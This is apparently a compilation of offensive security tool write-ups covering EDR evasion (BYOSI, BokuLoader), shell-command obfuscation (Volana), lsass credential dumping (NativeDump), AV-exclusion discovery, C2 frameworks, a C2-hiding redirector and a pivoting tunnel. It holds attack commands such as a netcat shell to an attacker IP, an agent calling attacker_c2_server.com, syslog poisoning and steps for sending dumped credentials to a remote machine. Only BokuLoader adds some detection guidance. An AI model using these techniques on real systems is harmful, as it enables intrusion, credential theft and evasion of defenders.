BYOSI - Evade EDR's The Simple Way, By Not Touching Any Of The API's They Hook

Evade EDR's the simple way, by not touching any of the API's they hook.

Theory

I've noticed that most EDRs fail to scan scripting files, treating them merely as text files. While this might be unfortunate for them, it's an opportunity for us to profit.

Flashy methods like residing in memory or thread injection are heavily monitored. Without a binary signed by a valid Certificate Authority, execution is nearly impossible.

Enter BYOSI (Bring Your Own Scripting Interpreter). Every scripting interpreter is signed by its creator, with each certificate being valid. Testing in a live environment revealed surprising results: a highly signatured PHP script from this repository not only ran on systems monitored by CrowdStrike and Trellix but also established an external connection without triggering any EDR detections. EDRs typically overlook script files, focusing instead on binaries for implant delivery. They're configured to detect high entropy or suspicious sections in binaries, not simple scripts.

This attack method capitalizes on that oversight for significant profit. The PowerShell script's steps mirror what a developer might do when first entering an environment. Remarkably, just four lines of PowerShell code completely evade EDR detection, with Defender/AMSI also blind to it. Adding to the effectiveness, GitHub serves as a trusted deployer.

What this script does

The PowerShell script achieves EDR/AV evasion through four simple steps (technically 3):

1.) It fetches the PHP archive for Windows and extracts it into a new directory named 'php' within 'C:\Temp'.
2.) The script then proceeds to acquire the implant PHP script or shell, saving it in the same 'C:\Temp\php' directory.
3.) Following this, it executes the implant or shell, utilizing the whitelisted PHP binary (which exempts the binary from most restrictions in place that would prevent the binary from running to begin with.)

With these actions completed, congratulations: you now have an active shell on a Crowdstrike-monitored system. What's particularly amusing is that, if my memory serves me correctly, Sentinel One is unable to scan PHP file types. So, feel free to let your imagination run wild.

Disclaimer.

I am in no way responsible for the misuse of this. This issue is a major blind spot in EDR protection, i am only bringing it to everyones attention.

Thanks Section

A big thanks to @im4x5yn74x for affectionately giving it the name BYOSI, and helping with the env to test in bringing this attack method to life.

Edit

It appears as though MS Defender is now flagging the PHP script as malicious, but still fully allowing the Powershell script full execution. so, modify the PHP script.

Edit

hello sentinel one :) might want to make sure that you are making links not embed.

CloudBrute - Awesome Cloud Enumerator

A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). The outcome is useful for bug bounty hunters, red teamers, and penetration testers alike.

The complete writeup is available. here

Motivation

we are always thinking of something we can automate to make black-box security testing easier. We discussed this idea of creating a multiple platform cloud brute-force hunter.mainly to find open buckets, apps, and databases hosted on the clouds and possibly app behind proxy servers.
Here is the list issues on previous approaches we tried to fix:

• separated wordlists
• lack of proper concurrency
• lack of supporting all major cloud providers
• require authentication or keys or cloud CLI access
• outdated endpoints and regions
• Incorrect file storage detection
• lack support for proxies (useful for bypassing region restrictions)
• lack support for user agent randomization (useful for bypassing rare restrictions)
• hard to use, poorly configured

Features

• Cloud detection (IPINFO API and Source Code)
• Supports all major providers
• Black-Box (unauthenticated)
• Fast (concurrent)
• Modular and easily customizable
• Cross Platform (windows, linux, mac)
• User-Agent Randomization
• Proxy Randomization (HTTP, Socks5)

Supported Cloud Providers

Microsoft: - Storage - Apps

Amazon: - Storage - Apps

Google: - Storage - Apps

DigitalOcean: - storage

Vultr: - Storage

Linode: - Storage

Alibaba: - Storage

Version

1.0.0

Usage

Just download the latest release for your operation system and follow the usage.

To make the best use of this tool, you have to understand how to configure it correctly. When you open your downloaded version, there is a config folder, and there is a config.YAML file in there.

It looks like this

providers: ["amazon","alibaba","amazon","microsoft","digitalocean","linode","vultr","google"] # supported providers
environments: [ "test", "dev", "prod", "stage" , "staging" , "bak" ] # used for mutations
proxytype: "http"  # socks5 / http
ipinfo: ""      # IPINFO.io API KEY

For IPINFO API, you can register and get a free key at IPINFO, the environments used to generate URLs, such as test-keyword.target.region and test.keyword.target.region, etc.

We provided some wordlist out of the box, but it's better to customize and minimize your wordlists (based on your recon) before executing the tool.

After setting up your API key, you are ready to use CloudBrute.

 ██████╗██╗      ██████╗ ██╗   ██╗██████╗ ██████╗ ██████╗ ██╗   ██╗████████╗███████╗
██╔════╝██║     ██╔═══██╗██║   ██║██╔══██╗██╔══██╗██╔══██╗██║   ██║╚══██╔══╝██╔════╝
██║     ██║     ██║   ██║██║   ██║██║  ██║██████╔╝██████╔╝██║   ██║   ██║   █████╗  
██║     ██║     ██║   ██║██║   ██║██║  ██║██╔══██╗██╔══██╗██║   ██║   ██║   ██╔══╝  
╚██████╗███████╗╚██████╔╝╚██████╔╝██████╔╝██████╔╝██║  ██║╚██████╔╝   ██║   ███████╗
 ╚═════╝╚══════╝ ╚═════╝  ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚══════╝
                                                V 1.0.7
usage: CloudBrute [-h|--help] -d|--domain "<value>" -k|--keyword "<value>"
                  -w|--wordlist "<value>" [-c|--cloud "<value>"] [-t|--threads
                  <integer>] [-T|--timeout <integer>] [-p|--proxy "<value>"]
                  [-a|--randomagent "<value>"] [-D|--debug] [-q|--quite]
                  [-m|--mode "<value>"] [-o|--output "<value>"]
                  [-C|--configFolder "<value>"]

                  Awesome Cloud Enumerator

Arguments:

  -h  --help          Print help information
  -d  --domain        domain
  -k  --keyword       keyword used to generator urls
  -w  --wordlist      path to wordlist
  -c  --cloud         force a search, check config.yaml providers list
  -t  --threads       number of threads. Default: 80
  -T  --timeout       timeout per request in seconds. Default: 10
  -p  --proxy         use proxy list
  -a  --randomagent   user agent randomization
  -D  --debug         show debug logs. Default: false
  -q  --quite         suppress all output. Default: false
  -m  --mode          storage or app. Default: storage
  -o  --output        Output file. Default: out.txt
  -C  --configFolder  Config path. Default: config

for example

CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"

please note -k keyword used to generate URLs, so if you want the full domain to be part of mutation, you have used it for both domain (-d) and keyword (-k) arguments

If a cloud provider not detected or want force searching on a specific provider, you can use -c option.

CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt

Dev

• Clone the repo
• go build -o CloudBrute main.go
• go test internal

in action

BokuLoader - A Proof-Of-Concept Cobalt Strike Reflective Loader Which Aims To Recreate, Integrate, And Enhance Cobalt Strike's Evasion Features!

A proof-of-concept User-Defined Reflective Loader (UDRL) which aims to recreate, integrate, and enhance Cobalt Strike's evasion features!

Contributors:

UDRL Usage Considerations

The built-in Cobalt Strike reflective loader is robust, handling all Malleable PE evasion features Cobalt Strike has to offer. The major disadvantage to using a custom UDRL is Malleable PE evasion features may or may not be supported out-of-the-box.

The objective of the public BokuLoader project is to assist red teams in creating their own in-house Cobalt Strike UDRL. The project aims to support all worthwhile CS Malleable PE evasion features. Some evasion features leverage CS integration, others have been recreated completely, and some are unsupported.

Before using this project, in any form, you should properly test the evasion features are working as intended. Between the C code and the Aggressor script, compilation with different versions of operating systems, compilers, and Java may return different results.

Evasion Features

BokuLoader Specific Evasion Features

• Reflective callstack spoofing via synthetic frames.
• Custom ASM/C reflective loader code
• Indirect NT syscalls via HellsGate & HalosGate techniques
• All memory protection changes for all allocation options are done via indirect syscall to NtProtectVirtualMemory
• obfuscate "true" with custom UDRL Aggressor script implementation.
• NOHEADERCOPY
• Loader will not copy headers raw beacon DLL to virtual beacon DLL. First 0x1000 bytes will be nulls.
• XGetProcAddress for resolving symbols
• Does not use Kernel32.GetProcAddress
• xLoadLibrary for resolving DLL's base address & DLL Loading
• For loaded DLLs, gets DLL base address from TEB->PEB->PEB_LDR_DATA->InMemoryOrderModuleList
• Does not use Kernel32.LoadLibraryA
• Caesar Cipher for string obfuscation
• 100k UDRL Size
• Import DLL names and import entry name strings are stomped in virtual beacon DLL.

Supported Malleable PE Evasion Features

Test

• (2/22/23) All 4 allocator methods tested with threatexpress/malleable-c2/master/jquery-c2.4.7.profile

Project Origins

• Based on Stephen Fewer's incredible Reflective Loader project:
• https://github.com/stephenfewer/ReflectiveDLLInjection
• Initially created while working through Renz0h's Reflective DLL videos from the Sektor7 Malware Developer Intermediate (MDI) Course

Usage

1. Compile the BokuLoader Object file with make
2. Start your Cobalt Strike Team Server
3. Within Cobalt Strike, import the BokuLoader.cna Aggressor script
4. Generate the x64 beacon (Attacks -> Packages -> Windows Executable (S))

5. Use the Script Console to ensure BokuLoader was implemented in the beacon build

6. Does not support x86 option. The x86 bin is the original Reflective Loader object file.

7. Generating RAW beacons works out of the box. When using the Artifact Kit for the beacon loader, the stagesize variable must be larger than the default.
8. See the Cobalt Strike User-Defined Reflective Loader documenation for additional information

Detection Guidance

Hardcoded Strings

• BokuLoader changes some commonly detected strings to new hardcoded values. These strings can be used to signature BokuLoader:

Memory Allocators

DLL Module Stomping

• The Kernel32.LoadLibraryExA is called to map the DLL from disk
• The 3rd argument to Kernel32.LoadLibraryExA is DONT_RESOLVE_DLL_REFERENCES (0x00000001)
• the system does not call DllMain
• Does not resolve addresses in LDR PEB entry as detailed by MDSec here
• Detectable by scanning process memory with pe-sieve tool

Heap Allocation

• Executable RX or RWX memory will exist in the heap if sleepmask kit is not used.

Mapped Allocator

• The Kernel32.CreateFileMappingA & Kernel32.MapViewOfFile is called to allocate memory for the virtual beacon DLL.

Sleepmask Detection

• If sleepmask kit is used, there exists detection methods for this independent memory allocation as detailed by MDSec here

Indirect Syscalls

• BokuLoader calls the following NT systemcalls to setup the loaded executable beacon memory: NtAllocateVirtualMemory, NtProtectVirtualMemory
• These are called indirectly from the BokuLoader executable memory.
• Setting userland hooks in ntdll.dll will not detect these systemcalls.
• It may be possible to register kernelcallbacks using a kernel driver to monitor for the above system calls and detect their usage.
• The BokuLoader itself will contain the mov eax, r11d; mov r11, r10; mov r10, rcx; jmp r11 assembly instructions within its executable memory.

Virtual Beacon DLL Header

• The first 0x1000 bytes of the virtual beacon DLL are zeros.

Source Code Available

• The BokuLoader source code is provided within the repository and can be used to create memory signatures.
• If you have additional detection guidance, please feel free to contribute by submitting a pull request.

Credits / References

Reflective Call Stack Spoofing

• LoudSunRun: Call stack synthetic frame spoofer with indirect syscalls
• SilentMoonwalk: PoC Implementation of a fully dynamic call stack spoofer
• Vulcan Raven: PoC implementation for spoofing arbitrary call stacks when making syscalls
• CallStackMasker: A PoC implementation for dynamically masking call stacks with timers
• ThreadStackSpoofer: Thread Stack Spoofing PoC
• Behind the Mask: Spoofing Call Stacks Dynamically with Timers

Reflective Loader

• https://github.com/stephenfewer/ReflectiveDLLInjection
• Checkout these videos if you're interested in Reflective DLL:
• Dancing with Import Address Table (IAT) - Sektor 7 MDI Course
• Walking through Export Address Table - Sektor 7 MDI Course
• Reflective Injection Explained - Sektor 7 MDI Course
• ReflectiveLoader source review - Sektor 7 MDI Course
• TitanLdr
• AceLdr
• KaynLdr

HalosGate SysCaller

• Reenz0h from @SEKTOR7net
• Checkout Reenz0h's awesome courses and blogs!
• Best classes for malware development I have taken.
• Creator of the halos gate technique. His work was initially the motivation for this work.
• Sektor7 HalosGate Blog

HellsGate Syscaller

• @smelly__vx & @am0nsec ( Creators/Publishers of the Hells Gate technique )
• Could not have made my implementation of HellsGate without them :)
• Awesome work on this method, really enjoyed working through it myself. Thank you!
• https://github.com/am0nsec/HellsGate
• Link to the Hell's Gate paper: https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf

Aggressor Scripting

• sinusoid @the_bit_diddler : returnIntegerFromArray

Cobalt Strike User Defined Reflective Loader

• https://www.cobaltstrike.com/help-user-defined-reflective-loader

Great Resource for learning Intel ASM

• Pentester Academy - SLAE64

ETW and AMSI Bypass

• @anthemtotheego inline-ExecuteAssembly
• @mariuszbit - for awesome idea to implement bypasses in reflective loader!
• @XPN Hiding Your .NET – ETW
• ajpc500/BOFs
• Offensive Security OSEP

Implementing ASM in C Code with GCC

• https://outflank.nl/blog/2020/12/26/direct-syscalls-in-beacon-object-files/
• https://www.cs.uaf.edu/2011/fall/cs301/lecture/10_12_asm_c.html
• http://gcc.gnu.org/onlinedocs/gcc-4.0.2/gcc/Extended-Asm.html#Extended-Asm

Cobalt Strike C2 Profiles

• Tylous's epic SourcePoint project
• threatexpress/malleable-c2/jquery-c2.4.7.profile

Volana - Shell Command Obfuscation To Avoid Detection Systems

Usage

You need to get an interactive shell. (Find a way to spawn it, you are a hacker, it's your job ! otherwise). Then download it on target machine and launch it. that's it, now you can type the command you want to be stealthy executed

## Download it from github release
## If you do not have internet access from compromised machine, find another way
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana

## Execute it
./volana

## You are now under the radar
volana » echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1  #you are allowed to be a bit cocky
volana » [command]

Keyword for volana console: * ring: enable ring mode ie each command is launched with plenty others to cover tracks (from solution that monitor system call) * exit: exit volana console

from non interactive shell

Imagine you have a non interactive shell (webshell or blind rce), you could use encrypt and decrypt subcommand. Previously, you need to build volana with embedded encryption key.

On attacker machine

## Build volana with encryption key
make build.volana-with-encryption

## Transfer it on TARGET (the unique detectable command)
## [...]

## Encrypt the command you want to stealthy execute
## (Here a nc bindshell to obtain a interactive shell)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> ENCRYPTED COMMAND

Copy encrypted command and executed it with your rce on target machine

./volana decr [encrypted_command]
## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)

Why not just hide command with echo [command] | base64 ? And decode on target with echo [encoded_command] | base64 -d | bash

Because we want to be protected against systems that trigger alert for base64 use or that seek base64 text in command. Also we want to make investigation difficult and base64 isn't a real brake.

Detection

Keep in mind that volana is not a miracle that will make you totally invisible. Its aim is to make intrusion detection and investigation harder.

By detected we mean if we are able to trigger an alert if a certain command has been executed.

Hide from

Only the volana launching command line will be catched. 🧠 However, by adding a space before executing it, the default bash behavior is to not save it

• Detection systems that are based on history command output
• Detection systems that are based on history files
• .bash_history, ".zsh_history" etc ..
• Detection systems that are based on bash debug traps
• Detection systems that are based on sudo built-in logging system
• Detection systems tracing all processes syscall system-wide (eg opensnoop)
• Terminal (tty) recorder (script, screen -L, sexonthebash, ovh-ttyrec, etc..)
• Easy to detect & avoid: pkill -9 script
• Not a common case
• screen is a bit more difficult to avoid, however it does not register input (secret input: stty -echo => avoid)
• Command detection Could be avoid with volana with encryption

Visible for

• Detection systems that have alert for unknown command (volana one)
• Detection systems that are based on keylogger
• Easy to avoid: copy/past commands
• Not a common case
• Detection systems that are based on syslog files (e.g. /var/log/auth.log)
• Only for sudo or su commands
• syslog file could be modified and thus be poisoned as you wish (e.g for /var/log/auth.log:logger -p auth.info "No hacker is poisoning your syslog solution, don't worry")
• Detection systems that are based on syscall (eg auditd,LKML/eBPF)
• Difficult to analyze, could be make unreadable by making several diversion syscalls
• Custom LD_PRELOAD injection to make log
• Not a common case at all

Bug bounty

Sorry for the clickbait title, but no money will be provided for contibutors. 🐛

Let me know if you have found: * a way to detect volana * a way to spy console that don't detect volana commands * a way to avoid a detection system

Report here

Credit

• 8 ways to spy on console
• moonwalk: similar tool that clear tracks AFTER passage

NativeDump - Dump Lsass Using Only Native APIs By Hand-Crafting Minidump Files (Without MinidumpWriteDump!)

NativeDump allows to dump the lsass process using only NTAPIs generating a Minidump file with only the streams needed to be parsed by tools like Mimikatz or Pypykatz (SystemInfo, ModuleList and Memory64List Streams).

• NTOpenProcessToken and NtAdjustPrivilegeToken to get the "SeDebugPrivilege" privilege
• RtlGetVersion to get the Operating System version details (Major version, minor version and build number). This is necessary for the SystemInfo Stream
• NtQueryInformationProcess and NtReadVirtualMemory to get the lsasrv.dll address. This is the only module necessary for the ModuleList Stream
• NtOpenProcess to get a handle for the lsass process
• NtQueryVirtualMemory and NtReadVirtualMemory to loop through the memory regions and dump all possible ones. At the same time it populates the Memory64List Stream
  

Usage:

NativeDump.exe [DUMP_FILE]

The default file name is "proc_.dmp":

The tool has been tested against Windows 10 and 11 devices with the most common security solutions (Microsoft Defender for Endpoints, Crowdstrike...) and is for now undetected. However, it does not work if PPL is enabled in the system.

Some benefits of this technique are: - It does not use the well-known dbghelp!MinidumpWriteDump function - It only uses functions from Ntdll.dll, so it is possible to bypass API hooking by remapping the library - The Minidump file does not have to be written to disk, you can transfer its bytes (encoded or encrypted) to a remote machine

The project has three branches at the moment (apart from the main branch with the basic technique):

• ntdlloverwrite - Overwrite ntdll.dll's ".text" section using a clean version from the DLL file already on disk

• delegates - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + XOR-encoding

• remote - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + Send file to remote machine + XOR-encoding

Technique in detail: Creating a minimal Minidump file

After reading Minidump undocumented structures, its structure can be summed up to:

• Header: Information like the Signature ("MDMP"), the location of the Stream Directory and the number of streams
• Stream Directory: One entry for each stream, containing the type, total size and location in the file of each one
• Streams: Every stream contains different information related to the process and has its own format
• Regions: The actual bytes from the process from each memory region which can be read

I created a parsing tool which can be helpful: MinidumpParser.

We will focus on creating a valid file with only the necessary values for the header, stream directory and the only 3 streams needed for a Minidump file to be parsed by Mimikatz/Pypykatz: SystemInfo, ModuleList and Memory64List Streams.

A. Header

The header is a 32-bytes structure which can be defined in C# as:

public struct MinidumpHeader
{
    public uint Signature;
    public ushort Version;
    public ushort ImplementationVersion;
    public ushort NumberOfStreams;
    public uint StreamDirectoryRva;
    public uint CheckSum;
    public IntPtr TimeDateStamp;
}

The required values are: - Signature: Fixed value 0x504d44d ("MDMP" string) - Version: Fixed value 0xa793 (Microsoft constant MINIDUMP_VERSION) - NumberOfStreams: Fixed value 3, the three Streams required for the file - StreamDirectoryRVA: Fixed value 0x20 or 32 bytes, the size of the header

B. Stream Directory

Each entry in the Stream Directory is a 12-bytes structure so having 3 entries the size is 36 bytes. The C# struct definition for an entry is:

public struct MinidumpStreamDirectoryEntry
{
    public uint StreamType;
    public uint Size;
    public uint Location;
}

The field "StreamType" represents the type of stream as an integer or ID, some of the most relevant are:

C. SystemInformation Stream

First stream is a SystemInformation Stream, with ID 7. The size is 56 bytes and will be located at offset 68 (0x44), after the Stream Directory. Its C# definition is:

public struct SystemInformationStream
{
    public ushort ProcessorArchitecture;
    public ushort ProcessorLevel;
    public ushort ProcessorRevision;
    public byte NumberOfProcessors;
    public byte ProductType;
    public uint MajorVersion;
    public uint MinorVersion;
    public uint BuildNumber;
    public uint PlatformId;
    public uint UnknownField1;
    public uint UnknownField2;
    public IntPtr ProcessorFeatures;
    public IntPtr ProcessorFeatures2;
    public uint UnknownField3;
    public ushort UnknownField14;
    public byte UnknownField15;
}

The required values are: - ProcessorArchitecture: 9 for 64-bit and 0 for 32-bit Windows systems - Major version, Minor version and the BuildNumber: Hardcoded or obtained through kernel32!GetVersionEx or ntdll!RtlGetVersion (we will use the latter)

D. ModuleList Stream

Second stream is a ModuleList stream, with ID 4. It is located at offset 124 (0x7C) after the SystemInformation stream and it will also have a fixed size, of 112 bytes, since it will have the entry of a single module, the only one needed for the parse to be correct: "lsasrv.dll".

The typical structure for this stream is a 4-byte value containing the number of entries followed by 108-byte entries for each module:

public struct ModuleListStream
{
    public uint NumberOfModules;
    public ModuleInfo[] Modules;
}

As there is only one, it gets simplified to:

public struct ModuleListStream
{
    public uint NumberOfModules;
    public IntPtr BaseAddress;
    public uint Size;
    public uint UnknownField1;
    public uint Timestamp;
    public uint PointerName;
    public IntPtr UnknownField2;
    public IntPtr UnknownField3;
    public IntPtr UnknownField4;
    public IntPtr UnknownField5;
    public IntPtr UnknownField6;
    public IntPtr UnknownField7;
    public IntPtr UnknownField8;
    public IntPtr UnknownField9;
    public IntPtr UnknownField10;
    public IntPtr UnknownField11;
}

The required values are: - NumberOfStreams: Fixed value 1 - BaseAddress: Using psapi!GetModuleBaseName or a combination of ntdll!NtQueryInformationProcess and ntdll!NtReadVirtualMemory (we will use the latter) - Size: Obtained adding all memory region sizes since BaseAddress until one with a size of 4096 bytes (0x1000), the .text section of other library - PointerToName: Unicode string structure for the "C:\Windows\System32\lsasrv.dll" string, located after the stream itself at offset 236 (0xEC)

E. Memory64List Stream

Third stream is a Memory64List stream, with ID 9. It is located at offset 298 (0x12A), after the ModuleList stream and the Unicode string, and its size depends on the number of modules.

public struct Memory64ListStream
{
    public ulong NumberOfEntries; 
    public uint MemoryRegionsBaseAddress;
    public Memory64Info[] MemoryInfoEntries;
}

Each module entry is a 16-bytes structure:

public struct Memory64Info
{
    public IntPtr Address;
    public IntPtr Size;
}

The required values are: - NumberOfEntries: Number of memory regions, obtained after looping memory regions - MemoryRegionsBaseAddress: Location of the start of memory regions bytes, calculated after adding the size of all 16-bytes memory entries - Address and Size: Obtained for each valid region while looping them

F. Looping memory regions

There are pre-requisites to loop the memory regions of the lsass.exe process which can be solved using only NTAPIs:

1. Obtain the "SeDebugPrivilege" permission. Instead of the typical Advapi!OpenProcessToken, Advapi!LookupPrivilegeValue and Advapi!AdjustTokenPrivilege, we will use ntdll!NtOpenProcessToken, ntdll!NtAdjustPrivilegesToken and the hardcoded value of 20 for the Luid (which is constant in all latest Windows versions)
2. Obtain the process ID. For example, loop all processes using ntdll!NtGetNextProcess, obtain the PEB address with ntdll!NtQueryInformationProcess and use ntdll!NtReadVirtualMemory to read the ImagePathName field inside ProcessParameters. To avoid overcomplicating the PoC, we will use .NET's Process.GetProcessesByName()
3. Open a process handle. Use ntdll!OpenProcess with permissions PROCESS_QUERY_INFORMATION (0x0400) to retrieve process information and PROCESS_VM_READ (0x0010) to read the memory bytes

With this it is possible to traverse process memory by calling: - ntdll!NtQueryVirtualMemory: Return a MEMORY_BASIC_INFORMATION structure with the protection type, state, base address and size of each memory region - If the memory protection is not PAGE_NOACCESS (0x01) and the memory state is MEM_COMMIT (0x1000), meaning it is accessible and committed, the base address and size populates one entry of the Memory64List stream and bytes can be added to the file - If the base address equals lsasrv.dll base address, it is used to calculate the size of lsasrv.dll in memory - ntdll!NtReadVirtualMemory: Add bytes of that region to the Minidump file after the Memory64List Stream

G. Creating Minidump file

After previous steps we have all that is necessary to create the Minidump file. We can create a file locally or send the bytes to a remote machine, with the possibility of encoding or encrypting the bytes before. Some of these possibilities are coded in the delegates branch, where the file created locally can be encoded with XOR, and in the remote branch, where the file can be encoded with XOR before being sent to a remote machine.

BadExclusionsNWBO - An Evolution From BadExclusions To Identify Folder Custom Or Undocumented Exclusions On AV/EDR

BadExclusionsNWBO is an evolution from BadExclusions to identify folder custom or undocumented exclusions on AV/EDR.

How it works?

BadExclusionsNWBO copies and runs Hook_Checker.exe in all folders and subfolders of a given path. You need to have Hook_Checker.exe on the same folder of BadExclusionsNWBO.exe.

Hook_Checker.exe returns the number of EDR hooks. If the number of hooks is 7 or less means folder has an exclusion otherwise the folder is not excluded.

Original idea?

Since the release of BadExclusions I've been thinking on how to achieve the same results without creating that many noise. The solution came from another tool, https://github.com/asaurusrex/Probatorum-EDR-Userland-Hook-Checker.

If you download Probatorum-EDR-Userland-Hook-Checker and you run it inside a regular folder and on folder with an specific type of exclusion you will notice a huge difference. All the information is on the Probatorum repository.

Requirements

Each vendor apply exclusions on a different way. In order to get the list of folder exclusions an specific type of exclusion should be made. Not all types of exclusion and not all the vendors remove the hooks when they exclude a folder.

The user who runs BadExclusionsNWBO needs write permissions on the excluded folder in order to write Hook_Checker file and get the results.

EDR Demo

https://github.com/iamagarre/BadExclusionsNWBO/assets/89855208/46982975-f4a5-4894-b78d-8d6ed9b1c8c4

C2-Cloud - The C2 Cloud Is A Robust Web-Based C2 Framework, Designed To Simplify The Life Of Penetration Testers

The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly interface.

C2 Cloud is open source. Security analysts can confidently perform simulations, gaining valuable experience and contributing to the proactive defense posture of their organizations.

Reverse shells support:

1. Reverse TCP
2. Reverse HTTP
3. Reverse HTTPS (configure it behind an LB)
4. Telegram C2

Demo

C2 Cloud walkthrough: https://youtu.be/hrHT_RDcGj8
Ransomware simulation using C2 Cloud: https://youtu.be/LKaCDmLAyvM
Telegram C2: https://youtu.be/WLQtF4hbCKk

Key Features

🔒 Anywhere Access: Reach the C2 Cloud from any location.
🔄 Multiple Backdoor Sessions: Manage and support multiple sessions effortlessly.
🖱️ One-Click Backdoor Access: Seamlessly navigate to backdoors with a simple click.
📜 Session History Maintenance: Track and retain complete command and response history for comprehensive analysis.

Tech Stack

🛠️ Flask: Serving web and API traffic, facilitating reverse HTTP(s) requests.
🔗 TCP Socket: Serving reverse TCP requests for enhanced functionality.
🌐 Nginx: Effortlessly routing traffic between web and backend systems.
📨 Redis PubSub: Serving as a robust message broker for seamless communication.
🚀 Websockets: Delivering real-time updates to browser clients for enhanced user experience.
💾 Postgres DB: Ensuring persistent storage for seamless continuity.

Architecture

Application setup

• Management port: 9000
  
• Reversse HTTP port: 8000
  

• Reverse TCP port: 8888
  

• Clone the repo

• Optional: Update chait_id, bot_token in c2-telegram/config.yml
• Execute docker-compose up -d to start the containers Note: The c2-api service will not start up until the database is initialized. If you receive 500 errors, please try after some time.

Credits

Inspired by Villain, a CLI-based C2 developed by Panagiotis Chartas.

License

Distributed under the MIT License. See LICENSE for more information.

Contact

• LinkedIn
• Twitter

BounceBack - Stealth Redirector For Your Red Team Operation Security

BounceBack is a powerful, highly customizable and configurable reverse proxy with WAF functionality for hiding your C2/phishing/etc infrastructure from blue teams, sandboxes, scanners, etc. It uses real-time traffic analysis through various filters and their combinations to hide your tools from illegitimate visitors.

The tool is distributed with preconfigured lists of blocked words, blocked and allowed IP addresses.

For more information on tool usage, you may visit project's wiki.

Features

• Highly configurable and customizable filters pipeline with boolean-based concatenation of rules will be able to hide your infrastructure from the most keen blue eyes.
• Easily extendable project structure, everyone can add rules for their own C2.
• Integrated and curated massive blacklist of IPv4 pools and ranges known to be associated with IT Security vendors combined with IP filter to disallow them to use/attack your infrastructure.
• Malleable C2 Profile parser is able to validate inbound HTTP(s) traffic against the Malleable's config and reject invalidated packets.
• Out of the box domain fronting support allows you to hide your infrastructure a little bit more.
• Ability to check the IPv4 address of request against IP Geolocation/reverse lookup data and compare it to specified regular expressions to exclude out peers connecting outside allowed companies, nations, cities, domains, etc.
• All incoming requests may be allowed/disallowed for any time period, so you may configure work time filters.
• Support for multiple proxies with different filter pipelines at one BounceBack instance.
• Verbose logging mechanism allows you to keep track of all incoming requests and events for analyzing blue team behaviour and debug issues.

Rules

BounceBack currently supports the following filters:

• Boolean-based (and, or, not) rules combinations
• IP and subnet analysis
• IP geolocation fields inspection
• Reverse lookup domain probe
• Raw packet regexp matching
• Malleable C2 profiles traffic validation
• Work (or not) hours rule

Custom rules may be easily added, just register your RuleBaseCreator or RuleWrapperCreator. See already created RuleBaseCreators and RuleWrapperCreators

Rules configuration page may be found here.

Proxies

At the moment, BounceBack supports the following protocols:

• HTTP(s) for your web infrastructure
• DNS for your DNS tunnels
• Raw TCP (with or without tls) and UDP for custom protocols

Custom protocols may be easily added, just register your new type in manager. Example proxy realizations may be found here.

Proxies configuration page may be found here.

Installation

Just download latest release from release page, unzip it, edit config file and go on.

If you want to build it from source, install goreleaser and run:

goreleaser release --clean --snapshot

Ligolo-Ng - An Advanced, Yet Simple, Tunneling/Pivoting Tool That Uses A TUN Interface

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

Features

• Tun interface (No more SOCKS!)
• Simple UI with agent selection and network information
• Easy to use and setup
• Automatic certificate configuration with Let's Encrypt
• Performant (Multiplexing)
• Does not require high privileges
• Socket listening/binding on the agent
• Multiple platforms supported for the agent

How is this different from Ligolo/Chisel/Meterpreter... ?

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

As an example, for a TCP connection:

• SYN are translated to connect() on remote
• SYN-ACK is sent back if connect() succeed
• RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
• Nothing is sent if timeout

This allows running tools like nmap without the use of proxychains (simpler and faster).

Building & Usage

Precompiled binaries

Precompiled binaries (Windows/Linux/macOS) are available on the Release page.

Building Ligolo-ng

Building ligolo-ng (Go >= 1.20 is required):

$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go

Setup Ligolo-ng

Linux

When using Linux, you need to create a tun interface on the Proxy Server (C2):

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up

Windows

You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).

Running Ligolo-ng proxy server

Start the proxy server on your Command and Control (C2) server (default port 11601):

$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates

TLS Options

Using Let's Encrypt Autocert

When using the -autocert option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.

Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval

Using your own TLS certificates

If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.

Automatic self-signed certificates (NOT RECOMMENDED)

The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.

The -ignore-cert option needs to be used with the agent.

Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.

Using Ligolo-ng

Start the agent on your target (victim) computer (no privileges are required!):

$ ./agent -connect attacker_c2_server.com:11601

If you want to tunnel the connection over a SOCKS5 proxy, you can use the --socks ip:port option. You can specify SOCKS credentials using the --socks-user and --socks-pass arguments.

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Use the session command to select the agent.

ligolo-ng » session 
